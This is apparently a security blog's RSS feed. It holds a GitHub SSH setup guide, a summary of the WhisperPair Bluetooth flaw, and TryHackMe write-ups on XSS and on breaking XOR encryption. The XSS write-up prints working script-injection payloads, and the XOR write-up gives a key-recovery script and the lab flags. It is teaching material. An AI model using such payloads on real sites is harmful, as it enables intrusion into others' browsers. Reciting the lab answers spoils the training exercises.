<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[sOn4jit's Blog]]></title><description><![CDATA[Writeups, projects, Linux guides, networking concepts, TryHackMe and Hack The Box walkthroughs, and CTF challenge writeups by sOn4jit.]]></description><link>https://blog.sonajit.in</link><image><url>https://cdn.hashnode.com/uploads/logos/6a13c822551486ce6c514b17/770edcaa-081f-417f-81c5-cc6f132a0b45.png</url><title>sOn4jit&apos;s Blog</title><link>https://blog.sonajit.in</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 15 Sep 2026 15:58:51 GMT</lastBuildDate><atom:link href="https://blog.sonajit.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[How to Set Up GitHub SSH Authentication - Complete Setup Guide for Windows, Linux, and macOS]]></title><description><![CDATA[If you're still entering credentials every time you push or pull code from GitHub, it's time to switch to SSH authentication.
SSH (Secure Shell) allows GitHub to verify your identity using cryptograph]]></description><link>https://blog.sonajit.in/github-ssh-authentication-complete-guide</link><guid isPermaLink="true">https://blog.sonajit.in/github-ssh-authentication-complete-guide</guid><category><![CDATA[ssh]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[Git]]></category><category><![CDATA[github ssh]]></category><category><![CDATA[blog.sonajit.in]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Sat, 06 Jun 2026 18:16:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/3cf1ed26-3afa-4927-948b-125626c24386.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you're still entering credentials every time you push or pull code from GitHub, it's time to switch to SSH authentication.</p>
<p>SSH (Secure Shell) allows GitHub to verify your identity using cryptographic keys instead of passwords or personal access tokens. Once configured, Git operations become faster, more secure, and significantly more convenient.</p>
<p>In this guide, you'll learn how to set up GitHub SSH authentication using ED25519 keys on Windows, Linux, and macOS.</p>
<h2>Why Use SSH with GitHub?</h2>
<p>SSH authentication offers several benefits:</p>
<ul>
<li><p>Secure cryptographic authentication</p>
</li>
<li><p>No need to repeatedly enter credentials</p>
</li>
<li><p>Faster Git operations</p>
</li>
<li><p>Better support for automation and CI/CD workflows</p>
</li>
<li><p>Recommended by GitHub for repository access</p>
</li>
</ul>
<p>Once configured, you can clone, pull, and push repositories without being prompted for GitHub credentials.</p>
<h2>Prerequisites</h2>
<p>Before getting started, make sure Git is installed on your system.</p>
<blockquote>
<p><strong>Tip:</strong> If Git is not installed, use the appropriate installation method for your operating system.</p>
</blockquote>
<h3>Windows</h3>
<p>Download and install Git from:</p>
<pre><code class="language-text">https://git-scm.com/downloads
</code></pre>
<h3>Ubuntu / Debian</h3>
<pre><code class="language-bash">sudo apt update
sudo apt install git
</code></pre>
<h3>Fedora</h3>
<pre><code class="language-bash">sudo dnf install git
</code></pre>
<h3>Arch Linux</h3>
<pre><code class="language-bash">sudo pacman -S git
</code></pre>
<h3>macOS (Homebrew)</h3>
<pre><code class="language-bash">brew install git
</code></pre>
<p>Verify the installation:</p>
<pre><code class="language-bash">git --version
</code></pre>
<p>You should see the installed Git version displayed in your terminal.</p>
<hr />
<h2>Step 1: Generate an SSH Key</h2>
<p>Open your terminal and run:</p>
<pre><code class="language-bash">ssh-keygen -t ed25519 -C "your-email@example.com"
</code></pre>
<p>Replace the email address with the one associated with your GitHub account.</p>
<p>Example:</p>
<pre><code class="language-bash">ssh-keygen -t ed25519 -C "john@example.com"
</code></pre>
<p>You'll be prompted to choose a location for the key:</p>
<pre><code class="language-text">Enter file in which to save the key
</code></pre>
<p>Simply press Enter to use the default location.</p>
<p>You will then be asked to create a passphrase:</p>
<pre><code class="language-text">Enter passphrase (empty for no passphrase):
</code></pre>
<p>A passphrase is optional but recommended because it adds an extra layer of protection if your private key is ever exposed.</p>
<p>After completion, you should see output similar to:</p>
<pre><code class="language-text">Your identification has been saved in ~/.ssh/id_ed25519
Your public key has been saved in ~/.ssh/id_ed25519.pub
</code></pre>
<hr />
<h2>Step 2: Verify the SSH Key Files</h2>
<p>Verify that the key pair was created successfully.</p>
<h3>Linux / macOS</h3>
<pre><code class="language-bash">ls -la ~/.ssh
</code></pre>
<h3>Windows</h3>
<pre><code class="language-cmd">dir %USERPROFILE%\.ssh
</code></pre>
<p>You should see files similar to:</p>
<pre><code class="language-text">id_ed25519
id_ed25519.pub
</code></pre>
<p>The private key:</p>
<pre><code class="language-text">id_ed25519
</code></pre>
<p>The public key:</p>
<pre><code class="language-text">id_ed25519.pub
</code></pre>
<blockquote>
<p>Never share your private key with anyone. Only the public key should be uploaded to GitHub.</p>
</blockquote>
<hr />
<h2>Step 3: Display Your Public Key</h2>
<p>Copy your public key using one of the following commands.</p>
<h3>Linux / macOS</h3>
<pre><code class="language-bash">cat ~/.ssh/id_ed25519.pub
</code></pre>
<h3>Windows</h3>
<pre><code class="language-cmd">type %USERPROFILE%\.ssh\id_ed25519.pub
</code></pre>
<p>The output will look similar to:</p>
<pre><code class="language-text">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... your-email@example.com
</code></pre>
<p>Copy the entire line.</p>
<hr />
<h2>Step 4: Add the SSH Key to GitHub</h2>
<p>Log in to your GitHub account and navigate to:</p>
<pre><code class="language-text">https://github.com/settings/keys
</code></pre>
<p>Click <strong>New SSH Key</strong>.</p>
<p>Fill out the form:</p>
<p><strong>Title</strong></p>
<pre><code class="language-text">My Laptop
</code></pre>
<p><strong>Key Type</strong></p>
<pre><code class="language-text">Authentication Key
</code></pre>
<p>Paste the public key into the key field and click <strong>Add SSH Key</strong>.</p>
<p>GitHub may ask you to confirm your password or complete two-factor authentication.</p>
<p>Once saved, your device is authorized to authenticate with GitHub using SSH.</p>
<hr />
<h2>Step 5: Test the SSH Connection</h2>
<p>Now it's time to verify that everything is working correctly.</p>
<p>Run:</p>
<pre><code class="language-bash">ssh -T git@github.com
</code></pre>
<p>The first time you connect, you'll likely see:</p>
<pre><code class="language-text">The authenticity of host 'github.com' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
</code></pre>
<p>Type:</p>
<pre><code class="language-text">yes
</code></pre>
<p>and press Enter.</p>
<p>If the setup is successful, GitHub will respond with:</p>
<pre><code class="language-text">Hi yourusername! You've successfully authenticated, but GitHub does not provide shell access.
</code></pre>
<p>This confirms that your SSH key is correctly configured and recognized by GitHub.</p>
<hr />
<h2>Step 6: Configure Git Identity</h2>
<p>Before working with repositories, configure your Git username and email.</p>
<pre><code class="language-bash">git config --global user.name "Your Name"
git config --global user.email "your-email@example.com"
</code></pre>
<p>Verify the configuration:</p>
<pre><code class="language-bash">git config --global --list
</code></pre>
<p>You should see your configured username and email address in the output.</p>
<hr />
<h2>Step 7: Clone a Repository Using SSH</h2>
<p>Instead of cloning repositories using HTTPS:</p>
<pre><code class="language-text">https://github.com/username/repository.git
</code></pre>
<p>Use the SSH URL:</p>
<pre><code class="language-text">git@github.com:username/repository.git
</code></pre>
<p>Example:</p>
<pre><code class="language-bash">git clone git@github.com:username/repository.git
</code></pre>
<p>The repository will now use SSH authentication automatically.</p>
<hr />
<h2>Step 8: Convert Existing Repositories from HTTPS to SSH</h2>
<p>If you already have repositories cloned using HTTPS, you can switch them to SSH without recloning.</p>
<p>Check the current remote:</p>
<pre><code class="language-bash">git remote -v
</code></pre>
<p>Example HTTPS remote:</p>
<pre><code class="language-text">https://github.com/username/repository.git
</code></pre>
<p>Change it to SSH:</p>
<pre><code class="language-bash">git remote set-url origin git@github.com:username/repository.git
</code></pre>
<p>Verify the update:</p>
<pre><code class="language-bash">git remote -v
</code></pre>
<p>You should now see:</p>
<pre><code class="language-text">git@github.com:username/repository.git
</code></pre>
<hr />
<h2>Step 9: Test Git Operations</h2>
<p>Try pulling changes:</p>
<pre><code class="language-bash">git pull
</code></pre>
<p>Or pushing changes:</p>
<pre><code class="language-bash">git push
</code></pre>
<p>If everything is configured correctly, Git will authenticate automatically without requesting your GitHub credentials.</p>
<hr />
<h2>Common Issues and Fixes</h2>
<h3>Permission Denied (publickey)</h3>
<p>If you receive:</p>
<pre><code class="language-text">Permission denied (publickey).
</code></pre>
<p>Check the following:</p>
<ul>
<li><p>The public key was added to the correct GitHub account</p>
</li>
<li><p>The key was copied completely</p>
</li>
<li><p>The private key exists in your <code>.ssh</code> directory</p>
</li>
<li><p>You're using the correct GitHub account</p>
</li>
</ul>
<p>Verify authentication again:</p>
<pre><code class="language-bash">ssh -T git@github.com
</code></pre>
<hr />
<h3>Repository Not Found</h3>
<p>Ensure:</p>
<ul>
<li><p>The repository exists</p>
</li>
<li><p>You have access permissions</p>
</li>
<li><p>The remote URL is correct</p>
</li>
</ul>
<p>Check your remote URL:</p>
<pre><code class="language-bash">git remote -v
</code></pre>
<hr />
<h3>Wrong GitHub Account</h3>
<p>If you use multiple GitHub accounts, create separate SSH keys and configure SSH host aliases using the SSH config file.</p>
<p>This allows each repository to authenticate using the appropriate account.</p>
<hr />
<h3>Verify Which Remote Is Being Used</h3>
<p>Run:</p>
<pre><code class="language-bash">git remote -v
</code></pre>
<p>Expected output:</p>
<pre><code class="language-text">origin  git@github.com:username/repository.git (fetch)
origin  git@github.com:username/repository.git (push)
</code></pre>
<p>If you still see HTTPS URLs, update them using the commands shown earlier.</p>
<hr />
<h2>Understanding ED25519</h2>
<p>You may have noticed the command uses:</p>
<pre><code class="language-bash">ssh-keygen -t ed25519
</code></pre>
<p>ED25519 is a modern public-key signature algorithm designed to provide strong security with smaller key sizes and better performance than older alternatives like RSA.</p>
<p>GitHub recommends ED25519 keys whenever possible.</p>
<p>Unless you have a specific compatibility requirement, ED25519 is the preferred choice.</p>
<hr />
<h2>Final Thoughts</h2>
<p>SSH authentication is one of the first configurations every developer should set up after installing Git.</p>
<p>The process takes only a few minutes, but it provides long-term benefits:</p>
<ul>
<li><p>Improved security</p>
</li>
<li><p>Faster authentication</p>
</li>
<li><p>Better automation support</p>
</li>
<li><p>Cleaner Git workflows</p>
</li>
</ul>
<p>Once configured, you'll be able to interact with GitHub repositories securely and efficiently without constantly entering credentials.</p>
<p>Whether you're contributing to open source projects, managing personal repositories, or working in professional development environments, SSH authentication is a setup worth implementing from day one.</p>
]]></content:encoded></item><item><title><![CDATA[WhisperPair: A New Bluetooth Threat Targeting Fast Pair Devices]]></title><description><![CDATA[Overview
Bluetooth technologies have made wireless connectivity faster and more convenient than ever. Features such as Google Fast Pair simplify the pairing process, allowing users to connect devices ]]></description><link>https://blog.sonajit.in/whisperpair-fast-pair-bluetooth-security-flaw</link><guid isPermaLink="true">https://blog.sonajit.in/whisperpair-fast-pair-bluetooth-security-flaw</guid><category><![CDATA[bluetooth]]></category><category><![CDATA[#securityresearch]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[fast-pair-security]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Mon, 19 Jan 2026 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/3fad80cb-ae77-4b85-963c-6a8e5c229e1a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Overview</h2>
<p>Bluetooth technologies have made wireless connectivity faster and more convenient than ever. Features such as Google Fast Pair simplify the pairing process, allowing users to connect devices within seconds. However, convenience-focused features can sometimes introduce unexpected security risks.</p>
<p>Researchers recently disclosed <strong>WhisperPair (CVE-2025-36911)</strong>, a vulnerability affecting certain Bluetooth accessories that support Google Fast Pair. The flaw stems from improper validation of pairing requests, potentially allowing unauthorized devices to establish connections without the owner's knowledge.</p>
<p>Because the attack only requires Bluetooth proximity, affected users may be vulnerable in public places such as airports, cafés, offices, and other crowded environments.</p>
<h2>What Is WhisperPair?</h2>
<p>WhisperPair is a security vulnerability discovered in the implementation of Google Fast Pair on certain Bluetooth-enabled accessories.</p>
<p>Under normal circumstances, a Bluetooth device should only accept pairing requests after the user explicitly places it into pairing mode. Researchers found that some Fast Pair-enabled devices fail to properly enforce this requirement, allowing pairing attempts to succeed even when pairing mode has not been enabled.</p>
<p>This weakness creates an opportunity for nearby attackers to establish unauthorized connections with vulnerable devices.</p>
<h2>How the Attack Works</h2>
<p>Unlike many attacks that require malware installation or physical access, WhisperPair can be exploited solely through Bluetooth communication.</p>
<p>A simplified attack flow is shown below:</p>
<ol>
<li><p>An attacker comes within Bluetooth range of a vulnerable device.</p>
</li>
<li><p>A specially crafted Fast Pair request is transmitted.</p>
</li>
<li><p>The device incorrectly accepts the request despite not being in pairing mode.</p>
</li>
<li><p>The pairing process completes successfully.</p>
</li>
<li><p>The attacker gains access comparable to a legitimately paired device.</p>
</li>
</ol>
<p>Depending on the affected hardware, this access could allow manipulation of audio functionality and other Bluetooth-related features.</p>
<h2>Potential Impact</h2>
<p>The severity of WhisperPair largely depends on the capabilities of the affected device.</p>
<p>Possible consequences include:</p>
<ul>
<li><p>Unauthorized audio playback</p>
</li>
<li><p>Audio stream hijacking</p>
</li>
<li><p>Association of accessories with attacker-controlled accounts</p>
</li>
<li><p>Privacy concerns involving connected devices</p>
</li>
<li><p>Potential misuse of microphone-enabled accessories in specific situations</p>
</li>
</ul>
<p>One particularly concerning aspect of the vulnerability is that victims may remain unaware that an unauthorized pairing event has occurred.</p>
<h2>Devices Reportedly Affected</h2>
<p>Researchers identified vulnerabilities in multiple Fast Pair-enabled products during testing.</p>
<p>Examples include:</p>
<ul>
<li><p>Sony WH-1000XM series</p>
</li>
<li><p>Google Pixel Buds</p>
</li>
<li><p>JBL wireless audio devices</p>
</li>
<li><p>Jabra wireless headphones</p>
</li>
<li><p>Xiaomi earbuds</p>
</li>
<li><p>Nothing earbuds</p>
</li>
<li><p>Anker Soundcore Liberty series</p>
</li>
</ul>
<p>As Fast Pair is widely adopted across the Bluetooth ecosystem, the potential attack surface is substantial.</p>
<h2>How to Protect Yourself</h2>
<p>While vendors work on security updates, users can take several steps to reduce their exposure.</p>
<h3>1. Keep Device Firmware Updated</h3>
<p>Manufacturers often release firmware updates to address newly discovered vulnerabilities. Check your device companion application or the manufacturer's support page regularly for updates.</p>
<h3>2. Disable Bluetooth When Not Needed</h3>
<p>If Bluetooth is not actively being used, disabling it can significantly reduce the risk of unauthorized pairing attempts.</p>
<h3>3. Only Enable Pairing Mode When Necessary</h3>
<p>Avoid leaving devices discoverable for extended periods. Enable pairing mode only when connecting a new device and disable it afterward.</p>
<h3>4. Review Paired Devices Regularly</h3>
<p>Periodically inspect the list of paired devices and remove any connections you do not recognize.</p>
<h3>5. Monitor Unusual Behavior</h3>
<p>Unexpected audio playback, connection prompts, or changes to Bluetooth settings may indicate unauthorized activity and should be investigated.</p>
<h2>Why WhisperPair Matters</h2>
<p>WhisperPair highlights a broader issue within modern technology: security controls must remain effective even when user convenience is prioritized.</p>
<p>As wireless accessories become increasingly integrated into everyday life, weaknesses in pairing workflows can create opportunities for unauthorized access and privacy violations. The discovery of WhisperPair serves as a reminder that secure implementation practices are just as important as innovative features.</p>
<h2>Key Takeaways</h2>
<ul>
<li><p>WhisperPair is tracked as <strong>CVE-2025-36911</strong>.</p>
</li>
<li><p>The vulnerability affects certain devices implementing <a href="https://developers.google.com/nearby/fast-pair/specifications/introduction">Google Fast Pair</a>.</p>
</li>
<li><p>Attackers may be able to establish unauthorized Bluetooth pairings.</p>
</li>
<li><p>Exploitation requires physical Bluetooth proximity.</p>
</li>
<li><p>Firmware updates and good Bluetooth hygiene can help reduce risk.</p>
</li>
</ul>
<h2>References</h2>
<ul>
<li><p><a href="https://eng.kuleuven.be/en/news-calendar/news-items/hijacking-bluetooth-accessories-using-google-fast-pair">KU Leuven Research on Fast Pair Attacks</a></p>
</li>
<li><p><a href="https://www.malwarebytes.com/blog/news/2026/01/whisperpair-exposes-bluetooth-earbuds-and-headphones-to-tracking-and-eavesdropping">Malwarebytes Analysis of WhisperPair</a></p>
</li>
<li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-36911">NVD Entry for CVE-2025-36911</a></p>
</li>
</ul>
<hr />
<h2>Found This Helpful?</h2>
<p>If you enjoyed this article and want to follow my work, feel free to connect with me:</p>
<ul>
<li>GitHub: <a href="https://github.com/s0n4jit">s0n4jit</a></li>
</ul>
<p>I regularly share writeups, technical walkthroughs, vulnerability analyses, and hands-on learning content.</p>
]]></content:encoded></item><item><title><![CDATA[THM Merry XSSmas Writeup: Learning Reflected and Stored XSS Attacks]]></title><description><![CDATA[Introduction
The Merry XSSmas room demonstrates how improper input handling can lead to dangerous client-side vulnerabilities.
This challenge focuses on two common web vulnerabilities:

Reflected XSS
]]></description><link>https://blog.sonajit.in/thm-merry-xssmas-writeup</link><guid isPermaLink="true">https://blog.sonajit.in/thm-merry-xssmas-writeup</guid><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[aoc2025]]></category><category><![CDATA[XSS]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Thu, 11 Dec 2025 16:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/0f0dbaff-b989-43c2-b205-c37478ed06df.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>The Merry XSSmas room demonstrates how improper input handling can lead to dangerous client-side vulnerabilities.</p>
<p>This challenge focuses on two common web vulnerabilities:</p>
<ul>
<li><p>Reflected XSS</p>
</li>
<li><p>Stored XSS</p>
</li>
</ul>
<p>The lab combines log analysis, JavaScript payload injection, and browser behavior to demonstrate how attackers can execute arbitrary scripts inside a victim’s browser.</p>
<p>By exploiting these vulnerabilities, both hidden flags can be recovered from McSkidy’s vulnerable message portal.</p>
<hr />
<h2>Lab Information</h2>
<table>
<thead>
<tr>
<th>Category</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Platform</td>
<td>TryHackMe</td>
</tr>
<tr>
<td>Room</td>
<td>Merry XSSmas</td>
</tr>
<tr>
<td>Event</td>
<td>Advent of Cyber 2025</td>
</tr>
<tr>
<td>Difficulty</td>
<td>Easy</td>
</tr>
<tr>
<td>Focus Area</td>
<td>Web Security</td>
</tr>
</tbody></table>
<hr />
<h2>Understanding Cross-Site Scripting (XSS)</h2>
<p>Cross-Site Scripting (XSS) occurs when a web application returns unsanitized user input directly to the browser.</p>
<p>If JavaScript code is injected successfully, the victim’s browser executes the payload as trusted code.</p>
<p>Common impacts include:</p>
<ul>
<li><p>Session hijacking</p>
</li>
<li><p>Credential theft</p>
</li>
<li><p>Cookie stealing</p>
</li>
<li><p>Redirecting users</p>
</li>
<li><p>Defacing web pages</p>
</li>
<li><p>Executing malicious JavaScript</p>
</li>
</ul>
<p>This room demonstrates two major XSS categories.</p>
<hr />
<h2>What Is Reflected XSS?</h2>
<p>Reflected XSS occurs when user-controlled input is immediately reflected inside the server response without sanitization.</p>
<p>This commonly appears in:</p>
<ul>
<li><p>Search bars</p>
</li>
<li><p>URL parameters</p>
</li>
<li><p>Query strings</p>
</li>
<li><p>Error messages</p>
</li>
</ul>
<p>The payload is executed instantly when a victim visits a crafted URL.</p>
<p>Example:</p>
<pre><code class="language-javascript">&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
<p>If the server reflects this payload back into the webpage, the browser executes the JavaScript.</p>
<hr />
<h2>What Is Stored XSS?</h2>
<p>Stored XSS is more dangerous because the malicious payload is permanently stored on the backend.</p>
<p>Every time another user loads the affected page, the payload executes automatically.</p>
<p>Common targets include:</p>
<ul>
<li><p>Blog comments</p>
</li>
<li><p>Forums</p>
</li>
<li><p>User profiles</p>
</li>
<li><p>Message boards</p>
</li>
<li><p>Chat systems</p>
</li>
</ul>
<p>Stored XSS becomes persistent because the malicious script survives page reloads and affects multiple users.</p>
<hr />
<h2>Identifying the Attack Surface</h2>
<p>The portal exposes multiple user-controlled input fields:</p>
<ol>
<li><p>A search bar</p>
</li>
<li><p>A message submission form</p>
</li>
</ol>
<p>Both features return user input directly into the browser without proper sanitization or escaping.</p>
<p>This immediately suggests testing for client-side script injection.</p>
<hr />
<h2>Exploiting the Reflected XSS Vulnerability</h2>
<p>The first target was the search functionality.</p>
<p>Testing with a basic payload immediately confirmed reflected XSS.</p>
<pre><code class="language-javascript">&lt;script&gt;alert('You Have been H4cked')&lt;/script&gt;
</code></pre>
<p>The browser executed the payload successfully.</p>
<p>The challenge hints toward Base64-encoded JavaScript payloads for recovering the official flag.</p>
<p>The following payload was used:</p>
<pre><code class="language-javascript">&lt;script&gt;alert(atob("VEhNe0V2aWxfQnVubnl9"))&lt;/script&gt;
</code></pre>
<p>The JavaScript <code>atob()</code> function decodes Base64 content directly inside the browser.</p>
<p>When executed, the payload reveals the flag:</p>
<pre><code class="language-plaintext">THM{Evil_Bunny}
</code></pre>
<hr />
<h3>Reflected XSS Flag :</h3>
<pre><code class="language-text">THM{Evil_Bunny}
</code></pre>
<hr />
<h2>Exploiting the Stored XSS Vulnerability</h2>
<p>The second attack targets the message submission form.</p>
<p>Since submitted messages are stored on the backend and displayed later, this creates a persistent XSS attack surface.</p>
<p>Initial testing:</p>
<pre><code class="language-javascript">&lt;script&gt;alert('H4cked by stored')&lt;/script&gt;
</code></pre>
<p>The payload executed every time the page refreshed, confirming stored XSS.</p>
<p>The official payload used:</p>
<pre><code class="language-javascript">&lt;script&gt;alert(atob("VEhNe0V2aWxfU3RvcmVkX0VnZ30="))&lt;/script&gt;
</code></pre>
<p>Once triggered, the browser decodes the Base64 string and displays the second flag.</p>
<p>Decoded result:</p>
<pre><code class="language-text">THM{Evil_Stored_Egg}
</code></pre>
<hr />
<h3>Stored XSS Flag :</h3>
<pre><code class="language-text">THM{Evil_Stored_Egg}
</code></pre>
<hr />
<h2>Why the Vulnerability Exists</h2>
<p>Both vulnerabilities exist because the application directly inserts user-controlled input into HTML responses without sanitization.</p>
<p>The application fails to:</p>
<ul>
<li><p>Escape HTML characters</p>
</li>
<li><p>Validate dangerous input</p>
</li>
<li><p>Filter JavaScript tags</p>
</li>
<li><p>Encode user content safely</p>
</li>
</ul>
<p>As a result, arbitrary JavaScript executes inside the browser context.</p>
<hr />
<h2>Mitigation Techniques</h2>
<p>Proper mitigation requires both frontend and backend protections.</p>
<hr />
<h3>1. Escape User Input</h3>
<p>Special characters should always be encoded before rendering:</p>
<pre><code class="language-text">&lt;  &gt;  "  '  /
</code></pre>
<p>This prevents browsers from interpreting injected HTML or JavaScript.</p>
<hr />
<h3>2. Avoid Using <code>innerHTML</code></h3>
<p>Using:</p>
<pre><code class="language-javascript">element.innerHTML = userInput;
</code></pre>
<p>allows attackers to inject arbitrary HTML and scripts.</p>
<p>Safer alternative:</p>
<pre><code class="language-javascript">element.textContent = userInput;
</code></pre>
<p><code>textContent</code> treats all input as plain text instead of executable HTML.</p>
<hr />
<h3>3. Sanitize HTML Properly</h3>
<p>If applications require formatted user content, use trusted sanitization libraries such as:</p>
<pre><code class="language-text">DOMPurify
</code></pre>
<p>Whitelist-based sanitization is significantly safer than manual filtering.</p>
<hr />
<h3>4. Harden Session Cookies</h3>
<p>Secure cookie settings reduce the impact of XSS attacks.</p>
<p>Recommended flags:</p>
<pre><code class="language-text">HttpOnly
Secure
SameSite=Strict
</code></pre>
<p>These protections help prevent session theft and unauthorized cookie access.</p>
<hr />
<h2>Lessons Learned</h2>
<p>This room demonstrates several important web security concepts:</p>
<ul>
<li><p>Difference between reflected and stored XSS</p>
</li>
<li><p>How browsers execute injected JavaScript</p>
</li>
<li><p>Why unsanitized input becomes dangerous</p>
</li>
<li><p>Risks of rendering user-controlled content</p>
</li>
<li><p>Importance of output encoding and sanitization</p>
</li>
<li><p>Safe frontend rendering practices</p>
</li>
</ul>
<hr />
<h2>Conclusion</h2>
<p>Merry XSSmas provides an excellent beginner-friendly introduction to client-side web vulnerabilities and JavaScript injection attacks.</p>
<p>The challenge demonstrates how unsanitized user input can lead to both reflected and stored XSS vulnerabilities, allowing attackers to execute arbitrary JavaScript inside victim browsers.</p>
<p>It also reinforces the importance of secure input handling, output encoding, and frontend security best practices in modern web applications.</p>
<hr />
<h2>Flags Obtained :</h2>
<pre><code class="language-text">THM{Evil_Bunny}
THM{Evil_Stored_Egg}
</code></pre>
<hr />
<p>Happy hacking 🎄🔐</p>
]]></content:encoded></item><item><title><![CDATA[THM W1seGuy Writeup: Learning XOR Weakness and Known Plaintext Attacks]]></title><description><![CDATA[Introduction
The W1seGuy room demonstrates a classic cryptographic mistake: using XOR encryption with a short repeating key.
This challenge highlights how predictable plaintext combined with weak XOR ]]></description><link>https://blog.sonajit.in/thm-w1seguy-writeup</link><guid isPermaLink="true">https://blog.sonajit.in/thm-w1seguy-writeup</guid><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[encryption]]></category><category><![CDATA[Cryptography]]></category><dc:creator><![CDATA[sOn4jit]]></dc:creator><pubDate>Fri, 05 Dec 2025 18:05:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a13c822551486ce6c514b17/2e29dc99-68e7-4fdc-98fb-b62221954679.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h2>Introduction</h2>
<p>The W1seGuy room demonstrates a classic cryptographic mistake: using XOR encryption with a short repeating key.</p>
<p>This challenge highlights how predictable plaintext combined with weak XOR implementations allows attackers to:</p>
<ul>
<li><p>Recover encryption keys</p>
</li>
<li><p>Decrypt sensitive messages</p>
</li>
<li><p>Break poorly designed encryption systems</p>
</li>
<li><p>Retrieve hidden flags with minimal effort</p>
</li>
</ul>
<p>The room is beginner-friendly while still teaching practical cryptographic concepts commonly seen in CTF challenges and insecure custom applications.</p>
<hr />
<h2>Lab Information</h2>
<table>
<thead>
<tr>
<th>Category</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Platform</td>
<td>TryHackMe</td>
</tr>
<tr>
<td>Room</td>
<td>W1seGuy</td>
</tr>
<tr>
<td>Difficulty</td>
<td>Easy</td>
</tr>
<tr>
<td>Focus Area</td>
<td>Cryptography</td>
</tr>
</tbody></table>
<hr />
<h2>Understanding the Challenge</h2>
<p>When connecting to the target service on port <code>1337</code>, the server displays an XOR-encrypted message along with a prompt requesting the encryption key.</p>
<p>Example:</p>
<pre><code class="language-text">This XOR encoded text has flag 1: &lt;hex string&gt;
What is the encryption key?
</code></pre>
<p>The challenge uses a repeating five-character XOR key.</p>
<p>Internally, the encryption logic works like this:</p>
<pre><code class="language-text">cipher[i] = plaintext[i] XOR key[i % 5]
hex_output = cipher.encode().hex()
</code></pre>
<p>Every new connection generates a different random key, but the encryption methodology remains unchanged.</p>
<p>Because XOR encryption is reversible and the plaintext format is partially predictable, the key can be recovered.</p>
<hr />
<h2>Understanding XOR Weakness</h2>
<p>XOR encryption uses the XOR operation between plaintext and key bytes.</p>
<p>The important property of XOR is that applying the same operation twice restores the original data.</p>
<pre><code class="language-text">cipher = plaintext XOR key
plaintext = cipher XOR key
key = cipher XOR plaintext
</code></pre>
<p>This becomes dangerous when:</p>
<ul>
<li><p>The plaintext format is predictable</p>
</li>
<li><p>The key is short</p>
</li>
<li><p>The key repeats</p>
</li>
<li><p>No randomness is introduced</p>
</li>
</ul>
<p>All TryHackMe flags begin with:</p>
<pre><code class="language-text">THM{
</code></pre>
<p>This predictable prefix immediately leaks the first four plaintext bytes.</p>
<p>Additionally, the closing brace:</p>
<pre><code class="language-text">}
</code></pre>
<p>helps recover the final key byte.</p>
<p>With these known characters, the full five-character XOR key can be reconstructed.</p>
<hr />
<h2>Recovering Flag 1</h2>
<p>The server provides the following XOR-encrypted hex string:</p>
<pre><code class="language-text">110e752a3f7427543f3b003e4c103b31725b3a2c04284a622e290a41391a373241613a373e772332
</code></pre>
<p>To recover the plaintext and derive the encryption key, the following Python script was used.</p>
<pre><code class="language-python">import string

xor_output = "110e752a3f7427543f3b003e4c103b31725b3a2c04284a622e290a41391a373241613a373e772332"
key = ''
key_length = 5
target_letters = ["T", "H", "M", "{", "}"]
decrypted_msg = ''

decode_xored = bytes.fromhex(xor_output).decode()
options = list(string.ascii_letters + string.digits)

def key_gen(encrypted_char, target):
    for c in options:
        if chr(ord(encrypted_char) ^ ord(c)) == target:
            return c

for i in range(key_length):
    if i &lt; key_length - 1:
        key += key_gen(decode_xored[i], target_letters[i])
    else:
        key += key_gen(decode_xored[-1], target_letters[i])

for i in range(len(decode_xored)):
    decrypted_msg += chr(ord(decode_xored[i]) ^ ord(key[i % len(key)]))

print(f"The encryption key is: {key}")
print(f"The decrypted message is: {decrypted_msg}")
</code></pre>
<hr />
<h3>Script Output</h3>
<pre><code class="language-text">The encryption key is: EF8QO
The decrypted message is: THM{p1alntExtAtt4ckcAnr3alLyhUrty0urxOr}
</code></pre>
<hr />
<h3>Flag 1 :</h3>
<pre><code class="language-text">THM{p1alntExtAtt4ckcAnr3alLyhUrty0urxOr}
</code></pre>
<hr />
<h2>Recovering Flag 2</h2>
<p>To retrieve the second flag, the correct five-character XOR key must be submitted during the same server connection.</p>
<p>The server provides another XOR-encrypted string:</p>
<pre><code class="language-text">0e2c230e3c6b05021b381f1c1a34382e500d1e2f1b0a1c462d3628171d192810174539281c210731
</code></pre>
<p>Using the same known plaintext technique, the derived key becomes:</p>
<pre><code class="language-text">ZdnuL
</code></pre>
<p>Now connect to the server and submit the key.</p>
<pre><code class="language-bash">nc &lt;IP&gt; 1337
</code></pre>
